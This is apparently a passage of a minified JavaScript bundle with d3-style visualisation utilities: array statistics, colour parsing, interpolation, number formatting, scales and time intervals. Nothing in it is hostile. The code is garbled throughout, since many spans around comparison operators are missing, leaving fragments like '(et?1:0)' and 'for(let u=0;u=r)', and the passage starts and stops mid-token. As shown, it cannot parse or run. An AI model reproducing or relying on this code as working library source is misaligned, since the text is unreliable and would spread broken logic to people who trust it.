SN(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const g8=Math.sqrt(50),y8=Math.sqrt(10),b8=Math.sqrt(2);function du(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),a=r/Math.pow(10,i),o=a>=g8?10:a>=y8?5:a>=b8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=a-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function h1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function zN(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?SN:v8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),m=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+m)),x=Math.min(r,Math.floor(t+(c-u)*f/c+m));zN(e,t,h,x,i)}const a=e[t];let o=n,l=r;for(_s(e,n,t),i(e[r],a)>0&&_s(e,n,r);o0;)--l}i(e[n],a)===0?_s(e,n,l):(++l,_s(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function _s(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function w8(e,t,n){if(e=Float64Array.from(f8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return h1(e);if(t>=1)return m1(e);var r,i=(r-1)*t,a=Math.floor(i),o=m1(zN(e,a).subarray(0,a+1)),l=h1(e.subarray(a+1));return o+(l-o)*(i-a)}}function j8(e,t,n=NN){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,a=Math.floor(i),o=+n(e[a],a,e),l=+n(e[a+1],a+1,e);return o+(l-o)*(i-a)}}function k8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,a=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Dl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Dl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=z8.exec(e))?new Wt(t[1],t[2],t[3],1):(t=C8.exec(e))?new Wt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=P8.exec(e))?Dl(t[1],t[2],t[3],t[4]):(t=E8.exec(e))?Dl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=A8.exec(e))?j1(t[1],t[2]/100,t[3]/100,1):(t=_8.exec(e))?j1(t[1],t[2]/100,t[3]/100,t[4]):x1.hasOwnProperty(e)?y1(x1[e]):e==="transparent"?new Wt(NaN,NaN,NaN,0):null}function y1(e){return new Wt(e>>16&255,e>>8&255,e&255,1)}function Dl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Wt(e,t,n,r)}function M8(e){return e instanceof Jo||(e=Lo(e)),e?(e=e.rgb(),new Wt(e.r,e.g,e.b,e.opacity)):new Wt}function eh(e,t,n,r){return arguments.length===1?M8(e):new Wt(e,t,n,r??1)}function Wt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}Kx(Wt,eh,PN(Jo,{brighter(e){return e=e==null?fu:Math.pow(fu,e),new Wt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?To:Math.pow(To,e),new Wt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Wt(Bi(this.r),Bi(this.g),Bi(this.b),pu(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:b1,formatHex:b1,formatHex8:L8,formatRgb:w1,toString:w1}));function b1(){return`#${Li(this.r)}${Li(this.g)}${Li(this.b)}`}function L8(){return`#${Li(this.r)}${Li(this.g)}${Li(this.b)}${Li((isNaN(this.opacity)?1:this.opacity)*255)}`}function w1(){const e=pu(this.opacity);return`${e===1?"rgb(":"rgba("}${Bi(this.r)}, ${Bi(this.g)}, ${Bi(this.b)}${e===1?")":`, ${e})`}`}function pu(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function Bi(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function Li(e){return e=Bi(e),(e<16?"0":"")+e.toString(16)}function j1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Tn(e,t,n,r)}function EN(e){if(e instanceof Tn)return new Tn(e.h,e.s,e.l,e.opacity);if(e instanceof Jo||(e=Lo(e)),!e)return new Tn;if(e instanceof Tn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),a=Math.max(t,n,r),o=NaN,l=a-i,c=(a+i)/2;return l?(t===a?o=(n-r)/l+(n0&&c<1?0:o,new Tn(o,l,c,e.opacity)}function I8(e,t,n,r){return arguments.length===1?EN(e):new Tn(e,t,n,r??1)}function Tn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}Kx(Tn,I8,PN(Jo,{brighter(e){return e=e==null?fu:Math.pow(fu,e),new Tn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?To:Math.pow(To,e),new Tn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Wt(ep(e>=240?e-240:e+120,i,r),ep(e,i,r),ep(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Tn(k1(this.h),Rl(this.s),Rl(this.l),pu(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=pu(this.opacity);return`${e===1?"hsl(":"hsla("}${k1(this.h)}, ${Rl(this.s)*100}%, ${Rl(this.l)*100}%${e===1?")":`, ${e})`}`}}));function k1(e){return e=(e||0)%360,e<0?e+360:e}function Rl(e){return Math.max(0,Math.min(1,e||0))}function ep(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const qx=e=>()=>e;function D8(e,t){return function(n){return e+n*t}}function R8(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function $8(e){return(e=+e)==1?AN:function(t,n){return n-t?R8(t,n,e):qx(isNaN(t)?n:t)}}function AN(e,t){var n=t-e;return n?D8(e,n):qx(isNaN(e)?t:e)}const N1=function e(t){var n=$8(t);function r(i,a){var o=n((i=eh(i)).r,(a=eh(a)).r),l=n(i.g,a.g),c=n(i.b,a.b),u=AN(i.opacity,a.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function B8(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(a){for(i=0;in&&(a=t.slice(n,a),l[o]?l[o]+=a:l[++o]=a),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:mu(r,i)})),n=tp.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function Z8(e,t,n){var r=e[0],i=e[1],a=t[0],o=t[1];return i2?Q8:Z8,c=u=null,f}function f(m){return m==null||isNaN(m=+m)?a:(c||(c=l(e.map(r),t,n)))(r(o(m)))}return f.invert=function(m){return o(i((u||(u=l(t,e.map(r),mu)))(m)))},f.domain=function(m){return arguments.length?(e=Array.from(m,hu),d()):e.slice()},f.range=function(m){return arguments.length?(t=Array.from(m),d()):t.slice()},f.rangeRound=function(m){return t=Array.from(m),n=Yx,d()},f.clamp=function(m){return arguments.length?(o=m?!0:Ot,d()):o!==Ot},f.interpolate=function(m){return arguments.length?(n=m,d()):n},f.unknown=function(m){return arguments.length?(a=m,f):a},function(m,h){return r=m,i=h,d()}}function Gx(){return Id()(Ot,Ot)}function J8(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function xu(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function Ga(e){return e=xu(Math.abs(e)),e?e[1]:NaN}function eL(e,t){return function(n,r){for(var i=n.length,a=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),a.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return a.reverse().join(t)}}function tL(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var nL=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Io(e){if(!(t=nL.exec(e)))throw new Error("invalid format: "+e);var t;return new Xx({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Io.prototype=Xx.prototype;function Xx(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}Xx.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function rL(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var vu;function iL(e,t){var n=xu(e,t);if(!n)return vu=void 0,e.toPrecision(t);var r=n[0],i=n[1],a=i-(vu=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return a===o?r:a>o?r+new Array(a-o+1).join("0"):a>0?r.slice(0,a)+"."+r.slice(a):"0."+new Array(1-a).join("0")+xu(e,Math.max(0,t+a-1))[0]}function z1(e,t){var n=xu(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const C1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:J8,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>z1(e*100,t),r:z1,s:iL,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function P1(e){return e}var E1=Array.prototype.map,A1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function aL(e){var t=e.grouping===void 0||e.thousands===void 0?P1:eL(E1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",a=e.numerals===void 0?P1:tL(E1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,m){f=Io(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,k=f.trim,S=f.type;S==="n"?(w=!0,S="g"):C1[S]||(j===void 0&&(j=12),k=!0,S="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var N=(m&&m.prefix!==void 0?m.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(S)?"0"+S.toLowerCase():""),z=(y==="$"?r:/[%p]/.test(S)?o:"")+(m&&m.suffix!==void 0?m.suffix:""),O=C1[S],_=/[defgprs%]/.test(S);j=j===void 0?6:/[gprs]/.test(S)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function T(P){var R=N,V=z,$,L,W;if(S==="c")V=O(P)+V,P="";else{P=+P;var B=P<0||1/P<0;if(P=isNaN(P)?c:O(Math.abs(P),j),k&&(P=rL(P)),B&&+P==0&&g!=="+"&&(B=!1),R=(B?g==="("?g:l:g==="-"||g==="("?"":g)+R,V=(S==="s"&&!isNaN(P)&&vu!==void 0?A1[8+vu/3]:"")+V+(B&&g==="("?")":""),_){for($=-1,L=P.length;++$W||W>57){V=(W===46?i+P.slice($+1):P.slice($))+V,P=P.slice(0,$);break}}}w&&!v&&(P=t(P,1/0));var U=R.length+P.length+V.length,F=U>1)+R+P+V+F.slice(U);break;default:P=F+R+P+V;break}return a(P)}return T.toString=function(){return f+""},T}function d(f,m){var h=Math.max(-8,Math.min(8,Math.floor(Ga(m)/3)))*3,x=Math.pow(10,-h),g=u((f=Io(f),f.type="f",f),{suffix:A1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var $l,Zx,_N;sL({thousands:",",grouping:[3],currency:["$",""]});function sL(e){return $l=aL(e),Zx=$l.format,_N=$l.formatPrefix,$l}function oL(e){return Math.max(0,-Ga(Math.abs(e)))}function lL(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(Ga(t)/3)))*3-Ga(Math.abs(e)))}function cL(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,Ga(t)-Ga(e))+1}function ON(e,t,n,r){var i=Qm(e,t,n),a;switch(r=Io(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(a=lL(i,o))&&(r.precision=a),_N(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(a=cL(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=a-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(a=oL(i))&&(r.precision=a-(r.type==="%")*2);break}}return Zx(r)}function xi(e){var t=e.domain;return e.ticks=function(n){var r=t();return Xm(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return ON(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,a=r.length-1,o=r[i],l=r[a],c,u,d=10;for(l0;){if(u=Zm(o,l,n),u===c)return r[i]=o,r[a]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function TN(){var e=Gx();return e.copy=function(){return el(e,TN())},Nn.apply(e,arguments),xi(e)}function MN(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,hu),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return MN(e).unknown(t)},e=arguments.length?Array.from(e,hu):[0,1],xi(n)}function LN(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],a=e[r],o;return aMath.pow(e,t)}function mL(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function T1(e){return(t,n)=>-e(-t,n)}function Qx(e){const t=e(_1,O1),n=t.domain;let r=10,i,a;function o(){return i=mL(r),a=pL(r),n()[0]<0?(i=T1(i),a=T1(a),e(uL,dL)):e(_1,O1),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;m<=h;++m)for(x=1;xd)break;v.push(g)}}else for(;m<=h;++m)for(x=r-1;x>=1;--x)if(g=m>0?x/a(-m):x*a(m),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=Io(c)).precision==null&&(c.trim=!0),c=Zx(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/a(Math.round(i(d)));return f*rn(LN(n(),{floor:l=>a(Math.floor(i(l))),ceil:l=>a(Math.ceil(i(l)))})),t}function IN(){const e=Qx(Id()).domain([1,10]);return e.copy=()=>el(e,IN()).base(e.base()),Nn.apply(e,arguments),e}function M1(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function L1(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function Jx(e){var t=1,n=e(M1(t),L1(t));return n.constant=function(r){return arguments.length?e(M1(t=+r),L1(t)):t},xi(n)}function DN(){var e=Jx(Id());return e.copy=function(){return el(e,DN()).constant(e.constant())},Nn.apply(e,arguments)}function I1(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function hL(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function xL(e){return e<0?-e*e:e*e}function e0(e){var t=e(Ot,Ot),n=1;function r(){return n===1?e(Ot,Ot):n===.5?e(hL,xL):e(I1(n),I1(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},xi(t)}function t0(){var e=e0(Id());return e.copy=function(){return el(e,t0()).exponent(e.exponent())},Nn.apply(e,arguments),e}function vL(){return t0.apply(null,arguments).exponent(.5)}function D1(e){return Math.sign(e)*e*e}function gL(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function RN(){var e=Gx(),t=[0,1],n=!1,r;function i(a){var o=gL(e(a));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(a){return e.invert(D1(a))},i.domain=function(a){return arguments.length?(e.domain(a),i):e.domain()},i.range=function(a){return arguments.length?(e.range((t=Array.from(a,hu)).map(D1)),i):t.slice()},i.rangeRound=function(a){return i.range(a).round(!0)},i.round=function(a){return arguments.length?(n=!!a,i):n},i.clamp=function(a){return arguments.length?(e.clamp(a),i):e.clamp()},i.unknown=function(a){return arguments.length?(r=a,i):r},i.copy=function(){return RN(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},Nn.apply(i,arguments),xi(i)}function $N(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(a=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return BN().domain([e,t]).range(i).unknown(a)},Nn.apply(xi(o),arguments)}function FN(){var e=[.5],t=[0,1],n,r=1;function i(a){return a!=null&&a<=a?t[Qo(e,a,0,r)]:n}return i.domain=function(a){return arguments.length?(e=Array.from(a),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(a){return arguments.length?(t=Array.from(a),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(a){var o=t.indexOf(a);return[e[o-1],e[o]]},i.unknown=function(a){return arguments.length?(n=a,i):n},i.copy=function(){return FN().domain(e).range(t).unknown(n)},Nn.apply(i,arguments)}const np=new Date,rp=new Date;function ct(e,t,n,r){function i(a){return e(a=arguments.length===0?new Date:new Date(+a)),a}return i.floor=a=>(e(a=new Date(+a)),a),i.ceil=a=>(e(a=new Date(a-1)),t(a,1),e(a),a),i.round=a=>{const o=i(a),l=i.ceil(a);return a-o(t(a=new Date(+a),o==null?1:Math.floor(o)),a),i.range=(a,o,l)=>{const c=[];if(a=i.ceil(a),l=l==null?1:Math.floor(l),!(a0))return c;let u;do c.push(u=new Date(+a)),t(a,l),e(a);while(uct(o=>{if(o>=o)for(;e(o),!a(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!a(o););else for(;--l>=0;)for(;t(o,1),!a(o););}),n&&(i.count=(a,o)=>(np.setTime(+a),rp.setTime(+o),e(np),e(rp),Math.floor(n(np,rp))),i.every=a=>(a=Math.floor(a),!isFinite(a)||!(a>0)?null:a>1?i.filter(r?o=>r(o)%a===0:o=>i.count(0,o)%a===0):i)),i}const gu=ct(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);gu.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?ct(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):gu);gu.range;const dr=1e3,gn=dr*60,fr=gn*60,jr=fr*24,n0=jr*7,R1=jr*30,ip=jr*365,Ii=ct(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*dr)},(e,t)=>(t-e)/dr,e=>e.getUTCSeconds());Ii.range;const r0=ct(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*dr)},(e,t)=>{e.setTime(+e+t*gn)},(e,t)=>(t-e)/gn,e=>e.getMinutes());r0.range;const i0=ct(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*gn)},(e,t)=>(t-e)/gn,e=>e.getUTCMinutes());i0.range;const a0=ct(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*dr-e.getMinutes()*gn)},(e,t)=>{e.setTime(+e+t*fr)},(e,t)=>(t-e)/fr,e=>e.getHours());a0.range;const s0=ct(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*fr)},(e,t)=>(t-e)/fr,e=>e.getUTCHours());s0.range;const tl=ct(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*gn)/jr,e=>e.getDate()-1);tl.range;const Dd=ct(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/jr,e=>e.getUTCDate()-1);Dd.range;const WN=ct(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/jr,e=>Math.floor(e/jr));WN.range;function aa(e){return ct(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*gn)/n0)}const Rd=aa(0),yu=aa(1),yL=aa(2),bL=aa(3),Xa=aa(4),wL=aa(5),jL=aa(6);Rd.range;yu.range;yL.range;bL.range;Xa.range;wL.range;jL.range;function sa(e){return ct(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/n0)}const $d=sa(0),bu=sa(1),kL=sa(2),NL=sa(3),Za=sa(4),SL=sa(5),zL=sa(6);$d.range;bu.range;kL.range;NL.range;Za.range;SL.range;zL.range;const o0=ct(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());o0.range;const l0=ct(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());l0.range;const kr=ct(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());kr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:ct(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});kr.range;const Nr=ct(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());Nr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:ct(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});Nr.range;function UN(e,t,n,r,i,a){const o=[[Ii,1,dr],[Ii,5,5*dr],[Ii,15,15*dr],[Ii,30,30*dr],[a,1,gn],[a,5,5*gn],[a,15,15*gn],[a,30,30*gn],[i,1,fr],[i,3,3*fr],[i,6,6*fr],[i,12,12*fr],[r,1,jr],[r,2,2*jr],[n,1,n0],[t,1,R1],[t,3,3*R1],[e,1,ip]];function l(u,d,f){const m=dy).right(o,m);if(h===o.length)return e.every(Qm(u/ip,d/ip,f));if(h===0)return gu.every(Math.max(Qm(u,d,f),1));const[x,g]=o[m/o[h-1][2]53)return null;"w"in I||(I.w=1),"Z"in I?(me=sp(Os(I.y,0,1)),ve=me.getUTCDay(),me=ve>4||ve===0?bu.ceil(me):bu(me),me=Dd.offset(me,(I.V-1)*7),I.y=me.getUTCFullYear(),I.m=me.getUTCMonth(),I.d=me.getUTCDate()+(I.w+6)%7):(me=ap(Os(I.y,0,1)),ve=me.getDay(),me=ve>4||ve===0?yu.ceil(me):yu(me),me=tl.offset(me,(I.V-1)*7),I.y=me.getFullYear(),I.m=me.getMonth(),I.d=me.getDate()+(I.w+6)%7)}else("W"in I||"U"in I)&&("w"in I||(I.w="u"in I?I.u%7:"W"in I?1:0),ve="Z"in I?sp(Os(I.y,0,1)).getUTCDay():ap(Os(I.y,0,1)).getDay(),I.m=0,I.d="W"in I?(I.w+6)%7+I.W*7-(ve+5)%7:I.w+I.U*7-(ve+6)%7);return"Z"in I?(I.H+=I.Z/100|0,I.M+=I.Z%100,sp(I)):ap(I)}}function z(C,E,X,I){for(var ne=0,me=E.length,ve=X.length,Ee,D;ne=ve)return-1;if(Ee=E.charCodeAt(ne++),Ee===37){if(Ee=E.charAt(ne++),D=k[Ee in $1?E.charAt(ne++):Ee],!D||(I=D(C,X,I))<0)return-1}else if(Ee!=X.charCodeAt(I++))return-1}return I}function O(C,E,X){var I=u.exec(E.slice(X));return I?(C.p=d.get(I[0].toLowerCase()),X+I[0].length):-1}function _(C,E,X){var I=h.exec(E.slice(X));return I?(C.w=x.get(I[0].toLowerCase()),X+I[0].length):-1}function T(C,E,X){var I=f.exec(E.slice(X));return I?(C.w=m.get(I[0].toLowerCase()),X+I[0].length):-1}function P(C,E,X){var I=v.exec(E.slice(X));return I?(C.m=b.get(I[0].toLowerCase()),X+I[0].length):-1}function R(C,E,X){var I=g.exec(E.slice(X));return I?(C.m=y.get(I[0].toLowerCase()),X+I[0].length):-1}function V(C,E,X){return z(C,t,E,X)}function $(C,E,X){return z(C,n,E,X)}function L(C,E,X){return z(C,r,E,X)}function W(C){return o[C.getDay()]}function B(C){return a[C.getDay()]}function U(C){return c[C.getMonth()]}function F(C){return l[C.getMonth()]}function H(C){return i[+(C.getHours()>=12)]}function G(C){return 1+~~(C.getMonth()/3)}function re(C){return o[C.getUTCDay()]}function oe(C){return a[C.getUTCDay()]}function he(C){return c[C.getUTCMonth()]}function pe(C){return l[C.getUTCMonth()]}function Y(C){return i[+(C.getUTCHours()>=12)]}function ee(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var E=S(C+="",w);return E.toString=function(){return C},E},parse:function(C){var E=N(C+="",!1);return E.toString=function(){return C},E},utcFormat:function(C){var E=S(C+="",j);return E.toString=function(){return C},E},utcParse:function(C){var E=N(C+="",!0);return E.toString=function(){return C},E}}}var $1={"-":"",_:" ",0:"0"},vt=/^\s*\d+/,OL=/^%/,TL=/[\\^$*+?|[\]().{}]/g;function ke(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",a=i.length;return r+(a[t.toLowerCase(),n]))}function LL(e,t,n){var r=vt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function IL(e,t,n){var r=vt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function DL(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function RL(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function $L(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function B1(e,t,n){var r=vt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function F1(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function BL(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function FL(e,t,n){var 